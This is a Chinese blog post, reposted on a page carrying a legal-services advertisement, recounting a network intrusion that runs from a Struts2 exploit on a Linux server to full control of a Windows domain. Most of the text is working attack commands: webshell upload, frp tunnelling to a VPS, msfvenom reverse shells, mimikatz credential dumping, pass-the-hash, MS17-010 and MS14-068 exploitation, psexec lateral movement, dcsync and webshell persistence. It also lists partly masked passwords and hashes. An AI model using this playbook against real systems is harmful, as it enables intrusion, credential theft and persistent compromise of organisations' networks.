记一次从linux打进域控
发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370
记一次从linux打进域控
前言:
这个周的话比较忙,就简单复盘一次之前从linux打进域控所涉及的内容,整体来说比较容易理解,从信息收集到权限维持都有所涉及。
getshell:
通过s2漏洞拿下一个口子,这里怎么看是s2搭建的网站,一个是直接看网站后缀是否是action,另一个是可以对登陆处进行抓包,查看数据包后缀是否包含.action.
这里的话就直接s2一把梭哈。
image-20230219225518896
成功拿到权限,这里还是一样上传木马来进行权限维持,至于怎么上传前面文章有讲到过。
image-20230219211710691
这里成功上传木马。
image-20230219212603213
信息收集:
我们对该linux进行简单的信息收集,通过翻看历史记录,数据库文件等获得了几条有效密码:
kartxx/karxx root/root xxadmin/xx@m453
利用fscan扫描该网段:
image-20230219212659887
./fscan -h 192.168.1.126/16 ./fscan -h 192.168.1.126/16 -m netbios
可以看到ip地址比较多,这里利用某位师傅(记不太清了)的fscan提取脚本将结果进行整理。
image-20230219211810059
python fscan.py -i result.txt -o resu.txt
该脚本可以对fscan扫描的结果进行整理,整理得到如下结果,可以发现可以利用的点不多。
image-20230219213032789
但是通过上面扫描结果我们得知该环境存在域环境:
image-20230220094629422
解析在着重对这个域进行渗透,我们前期扫到了一个mysql密码,然后发现这台主机又在域内,所以我们先利用他来做一个域信息收集:
image-20230219213218437
frp代理:
为了方便,我们这里将linux的流量代理出来:
在这里我遇到了一个问题,目标主机出网,并且还能ping通我,但是我代理的时候出现连接拒绝。原因是这台主机限制了端口出网,然后我用fscan扫描该主机,发现8080,8443开着web服务。于是frp的配置文件如下:
image-20230219214100471
frps.ini:
[common] bind_port = 8080
frpc.ini:
[common] server_addr = vps地址 server_port = 8080 tcp_mux = true [plugin_socks5] type = tcp remote_port = 8443 plugin = socks5
image-20230219214801266
成功将socks流量代理出来:
域内信息收集:
连接mysql:
proxychains sqlmap -d "mysql://root:root@192.168.1.138:3306/mysql" --os-shell --random-agent
image-20230219214940224
net group "domain admins" /domain #查询域管 net group "Domain Controllers" /domain #查询域控
imgimage-20230219215019508
域控地址:
AD-server 192.168.1.5 star 192.168.1.6
这里我登陆了他的3389,这里我导出他的注册表,然后拖回本地进行密码读取。
登陆的时候勾选上该配置,不然不能够进行粘贴复制。
image-20230220095001280
reg save hklmsam sam.hive reg save hklmsystem system.hive
这里成功的导出了该文件:
image-20230220095128277
拖到本地利用mimikatz执行:
lsadump::sam /sam:sam.hive /system:system.hive
读取到了管理员的hahs值:
administrator/541ae40b283303b382a1ffxxxxx
然后利用fscan扫描445端口并将ip提权出来做一个pth攻击:
fscan -h 192.168.1.0/16 -p 445
tiqu.py:
import re import os import sys if sys.argv[1]=="-ii": text = open(sys.argv[2], 'r', encoding='UTF-8') for i in text: ii=i.strip("n") obj=re.compile(r'(?P.*?):'+sys.argv[3]+'s+open',re.S) resu=obj.finditer(ii) for it in resu: result = it.group("url") print(result) with open("port.txt", "a+") as f: f.write(result + 'n') f.close()
python tiqu.py -ii resu.txt 445
image-20230220095534027
直接进行密码喷洒:
proxychains crackmapexec smb port.txt administrator -H 541ae40b283303b382axxxxxx
没有爆出来域用户,只有两个工作组:
192.168.1.31 445 PAYROLL [+] Payrolladministrator 192.168.1.18 445 WIN-69GHL7TASOE [+] WIN-69GHL7TASOEadministrator
打ms17010:
上线msf:
这里我生成马子的端口是443端口:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=443 -f elf > m.elf
msf监听上线:
use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set lhost x.x.x.x set lport 8080 run
image-20230219215405960
fscan扫描得到了几台ms17010:
[+] 192.168.1.6 MS17-010 (Windows Server 2008 R2 Standard 7601 [+] 192.168.6.123 MS17-010 (Windows 7 Professional 7601 Service Pack 1) [+] 192.168.5.112 has DOUBLEPULSAR SMB IMPLANT [+] 192.168.5.110 has DOUBLEPULSAR SMB IMPLANT
添加路由:
run autoroute -s 192.168.1.0/16
前面已经将流量代理出来了;
利用exe脚本打ms17010,结合网上bat脚本来打:
check.bat 192.168.5.110
image-20230219215604679
msf生成64为dll文件:
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=10012 -f dll >64.dll
将改dll文件放到脚本目录下直接打过去
attack.bat 192.168.5.110 x64 64.dll
msf收到会话:
img
利用mimikatz抓取密码:
load kiwi kiwi_cmd sekurlsa::logonpasswords
获取如下密码:
xxxhistn:xxxx@123456 Admin:1000:aad3b435b51404eeaxxxxxxx:3dbde697d71690a769204bxxxxxxx::: Administrator:500:aad3b435b51404eeaxxxxxx:541ae40b283303b382a1xxxxx:::
ms14-068打域控:
至于怎么打域控,方法就比较多了,这里使用ms14-068来打:
PS:以后的话会多使用非无脑漏洞的打法,前期的话还是多熟悉这些常规漏洞使用。
生成一个票据:
proxychains python2 ms14-068.py -u 域用户@域名称 -p 密码 -s 域用户sid值 -d 192.168.1.6
利用mimikatz将票据注入内存:
kiwi_cmd "kerberos::ptc 1.ccache"
image-20230219220138563
访问域控:
dir \192.168.1.6c$
image-20230219225932487
将会话弹到cs:
该主机出网,直接上传木马将该机器上线到msf,然后我做了一个进程注入以防止木马掉线
PS: 这里的进程没有域管理员进程,如果有的话就可以直接空密码与域控建立ipc连接了,这样上线域控就更简单了。
image-20230219220258427image-20230219220419344
前面建立了ipc链接,这里就直接上线域控了:
设置一个中转监听器:
image-20230219220517443
直接上线两个域控:
jump psexec 192.168.1.5 smb jump psexec 192.168.1.6 smb
image-20230219220555868
至此,域控全部上线。
mimikatzdump密码:
mimikatz lsadump::dcsync /domain:xxxxxftware.com /all /csv
通过翻域控文件,或得到了大量的邮箱和密码:
image-20230219220839451
每个邮箱对应每个域用户的账号和密码。
权限维持:
这里就在域控网站根目录留了一个木马。
image-20230219221024254
收集主机信息:
proxychains python3 dnsdump.py -u "xxxxx.comadministrator" -p 12345 192.168.1.6 -r
image-20230219221158706
到这里,这个域的几百台主机算是拿下了
查看spn:
Setspn -Q */*
这能够帮我们梳理一下域内的机器服务,比如我们需要知道那些机器上面有exchange,mssql等,可以通过spn扫描来发掘一些有价值的机器。
image-20230220102044607
后续:
前面讲到信息收集,仔细查看fscan扫描的结果,会发现有一个主机存在多个网段:
image-20230219221451289
直接连接109上去看一下是否存在多个网段:
image-20230219221536415
的确存在多个网段,然后在对比上面的域内主机信息会发现172根本就不再域内:
image-20230219221644594
最后再查看域控的网络连接行为:
image-20230219221752083
发现域控正好与上面两个网段有着关联,所以后面的就是对172进行渗透。
很多时候拿到域控不代表就结束了,一方面要查看域控的网络连接行为,另一方面要熟悉这个域控的组织结构,比如有哪些组织或者部门在这个域里面,对特定的目标进行横向会挖掘到更大的价值。
比如我可以查看域组织结构:
dsquery ou
image-20230220102216889
清楚这些组织结构之后就可以对特定的组织或者部门进行更大价值的挖掘。比如运维部门等公司的核心部门。
后面的内容过段时间更新。